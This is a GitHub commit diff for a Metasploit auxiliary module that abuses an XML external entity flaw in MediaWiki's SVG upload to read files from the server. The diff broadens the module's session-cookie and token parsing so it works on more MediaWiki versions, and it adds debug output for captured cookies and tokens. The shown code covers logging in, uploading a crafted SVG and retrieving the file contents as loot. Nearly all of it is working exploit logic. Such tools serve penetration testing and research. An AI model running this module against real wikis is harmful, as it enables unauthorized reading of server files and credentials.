Skip to content

Commit 4ef3319

Browse files
author
jvazquez-r7
committed
Land rapid7#1745 - @firefart's improvement for MediaWiki aux module
2 parents 19a158d + eaff878 commit 4ef3319

File tree

1 file changed

+40
-22
lines changed

1 file changed

+40
-22
lines changed

modules/auxiliary/scanner/http/mediawiki_svg_fileaccess.rb

Lines changed: 40 additions & 22 deletions
Original file line numberDiff line numberDiff line change
@@ -22,7 +22,11 @@ def initialize
2222
expand external entities with the SYSTEM identifier. In order to work MediaWiki must
2323
be configured to accept upload of SVG files. If anonymous uploads are allowed the
2424
username and password aren't required, otherwise they are. This module has been
25-
tested successfully on MediaWiki 1.19.4 and Ubuntu 10.04.
25+
tested successfully on MediaWiki 1.19.4, 1.20.3 on Ubuntu 10.04 and Ubuntu 12.10.
26+
Older versions were also tested but do not seem to be vulnerable to this vulnerability.
27+
The following MediaWiki requirements must be met: File upload must be enabled,
28+
$wgFileExtensions[] must include 'svg', $wgSVGConverter must be set to something
29+
other than 'false'.
2630
},
2731
'References' =>
2832
[
@@ -32,8 +36,9 @@ def initialize
3236
],
3337
'Author' =>
3438
[
35-
'Daniel Franke', # Vulnerability discovery and PoC
36-
'juan vazquez' # Metasploit module
39+
'Daniel Franke', # Vulnerability discovery and PoC
40+
'juan vazquez', # Metasploit module
41+
'Christian Mehlmauer' # Metasploit module
3742
],
3843
'License' => MSF_LICENSE
3944
)
@@ -69,8 +74,8 @@ def get_first_session
6974
}
7075
})
7176

72-
if res and res.code == 200 and res.headers['Set-Cookie'] and res.headers['Set-Cookie'] =~ /my_wiki_session=([a-f0-9]*)/
73-
return $1
77+
if res and res.code == 200 and res.headers['Set-Cookie'] and res.headers['Set-Cookie'] =~ /([^\s]*session)=([a-z0-9]+)/
78+
return $1,$2
7479
else
7580
return nil
7681
end
@@ -84,7 +89,7 @@ def get_login_token
8489
"title" => "Special:UserLogin",
8590
"returnto" => "Main+Page"
8691
},
87-
'cookie' => "my_wiki_session=#{@first_session}"
92+
'cookie' => session_cookie
8893
})
8994

9095
if res and res.code == 200 and res.body =~ /name="wpLoginToken" value="([a-f0-9]*)"/
@@ -98,12 +103,14 @@ def get_login_token
98103
def parse_auth_cookie(cookies)
99104
cookies.split(";").each do |part|
100105
case part
101-
when /my_wikiUserID=(.*)/
102-
@wiki_user_id = $1
103-
when /my_wikiUserName=(.*)/
104-
@my_wiki_user_name = $1
105-
when /my_wiki_session=(.*)/
106-
@my_wiki_session = $1
106+
when /([^\s]*UserID)=(.*)/
107+
@wiki_user_id_name = $1
108+
@wiki_user_id = $2
109+
when /([^\s]*UserName)=(.*)/
110+
@wiki_user_name_name = $1
111+
@wiki_user_name = $2
112+
when /session=(.*)/
113+
@wiki_session = $1
107114
else
108115
next
109116
end
@@ -112,9 +119,9 @@ def parse_auth_cookie(cookies)
112119

113120
def session_cookie
114121
if @user and @password
115-
return "my_wiki_session=#{@my_wiki_session}; my_wikiUserID=#{@wiki_user_id}; my_wikiUserName=#{@my_wiki_user_name}"
122+
return "#{@wiki_session_name}=#{@wiki_session}; #{@wiki_user_id_name}=#{@wiki_user_id}; #{@wiki_user_name_name}=#{@wiki_user_name}"
116123
else
117-
return "my_wiki_session=#{@first_session}"
124+
return "#{@wiki_session_name}=#{@wiki_session}"
118125
end
119126
end
120127

@@ -134,10 +141,10 @@ def authenticate
134141
"wpLoginToken" => @login_token,
135142
"returnto" => "Main+Page"
136143
},
137-
'cookie' => "my_wiki_session=#{@first_session}"
144+
'cookie' => session_cookie
138145
})
139146

140-
if res and res.code == 302 and res.headers['Set-Cookie'] =~ /my_wikiUserID/
147+
if res and res.code == 302 and res.headers['Set-Cookie'] =~ /UserID=/
141148
parse_auth_cookie(res.headers['Set-Cookie'])
142149
return true
143150
else
@@ -152,7 +159,7 @@ def get_edit_token
152159
'cookie' => session_cookie
153160
})
154161

155-
if res and res.code == 200 and res.body =~/<title>Upload file/ and res.body =~ /"editToken":"([0-9a-f]*)\+\\\\/
162+
if res and res.code == 200 and res.body =~/<title>Upload file/ and res.body =~ /<input id="wpEditToken" type="hidden" value="([0-9a-f]*)\+\\" name="wpEditToken" \/>/
156163
return $1
157164
else
158165
return nil
@@ -161,7 +168,6 @@ def get_edit_token
161168
end
162169

163170
def upload_file
164-
165171
entity = Rex::Text.rand_text_alpha_lower(3)
166172
@file_name = Rex::Text.rand_text_alpha_lower(4)
167173
svg_file = %Q|
@@ -198,6 +204,13 @@ def upload_file
198204
if res and res.code == 302 and res.headers['Location']
199205
return res.headers['Location']
200206
else
207+
# try to output the errormessage
208+
if res and res.body
209+
error = res.body.scan(/<div class="error">(.*?)<\/div>/m)[0]
210+
if error and error.size == 1
211+
print_error(error[0])
212+
end
213+
end
201214
return nil
202215
end
203216
end
@@ -217,13 +230,13 @@ def read_data
217230
end
218231

219232
def accessfile(rhost)
220-
221233
vprint_status("#{peer(rhost)} MediaWiki - Getting unauthenticated session...")
222-
@first_session = get_first_session
223-
if @first_session.nil?
234+
@wiki_session_name, @wiki_session = get_first_session
235+
if @wiki_session.nil?
224236
print_error("#{peer(rhost)} MediaWiki - Failed to get unauthenticated session...")
225237
return
226238
end
239+
vprint_status("#{peer(rhost)} Sessioncookie: #{@wiki_session_name}=#{@wiki_session}")
227240

228241
if @user and not @user.empty? and @password and not @password.empty?
229242
vprint_status("#{peer(rhost)} MediaWiki - Getting login token...")
@@ -232,11 +245,15 @@ def accessfile(rhost)
232245
print_error("#{peer(rhost)} MediaWiki - Failed to get login token")
233246
return
234247
end
248+
vprint_status("#{peer(rhost)} Logintoken: #{@login_token}")
235249

236250
if not authenticate
237251
print_error("#{peer(rhost)} MediaWiki - Failed to authenticate")
238252
return
239253
end
254+
vprint_status("#{peer(rhost)} Userid cookie: #{@wiki_user_id_name}=#{@wiki_user_id}")
255+
vprint_status("#{peer(rhost)} Username cookie: #{@wiki_user_name_name}=#{@wiki_user_name}")
256+
vprint_status("#{peer(rhost)} Session cookie: #{@wiki_session_name}=#{@wiki_session}")
240257
end
241258

242259
vprint_status("#{peer(rhost)} MediaWiki - Getting edit token...")
@@ -245,13 +262,15 @@ def accessfile(rhost)
245262
print_error("#{peer(rhost)} MediaWiki - Failed to get edit token")
246263
return
247264
end
265+
vprint_status("#{peer(rhost)} Edittoken: #{@edit_token}")
248266

249267
vprint_status("#{peer(rhost)} MediaWiki - Uploading SVG file...")
250268
@svg_uri = upload_file
251269
if @svg_uri.nil?
252270
print_error("#{peer(rhost)} MediaWiki - Failed to upload SVG file")
253271
return
254272
end
273+
vprint_status("#{peer(rhost)} SVG URI: #{@svg_uri}")
255274

256275
vprint_status("#{peer(rhost)} MediaWiki - Retrieving remote file...")
257276
loot = read_data
@@ -276,4 +295,3 @@ def run_host(ip)
276295
end
277296

278297
end
279-

0 commit comments

Comments
 (0)